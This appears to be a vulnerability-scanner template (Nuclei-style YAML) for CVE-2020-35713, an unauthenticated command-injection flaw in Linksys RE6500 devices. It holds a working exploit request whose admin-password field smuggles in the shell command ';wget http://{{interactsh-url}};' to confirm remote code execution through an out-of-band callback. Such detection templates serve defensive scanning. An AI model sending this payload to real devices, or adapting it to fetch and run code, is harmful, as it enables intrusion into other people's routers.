id: CVE-2020-35713

info:
  name: Linksys RE6500 Pre-Auth RCE
  author: gy741
  severity: critical
  reference: https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html
  description: Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.
  tags: cve,cve2020,linksys,rce,oob,router

requests:
  - raw:
      - |
        POST /goform/setSysAdm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive
        Origin: http://{{Hostname}}
        Referer: http://{{Hostname}}/login.shtml

        admuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"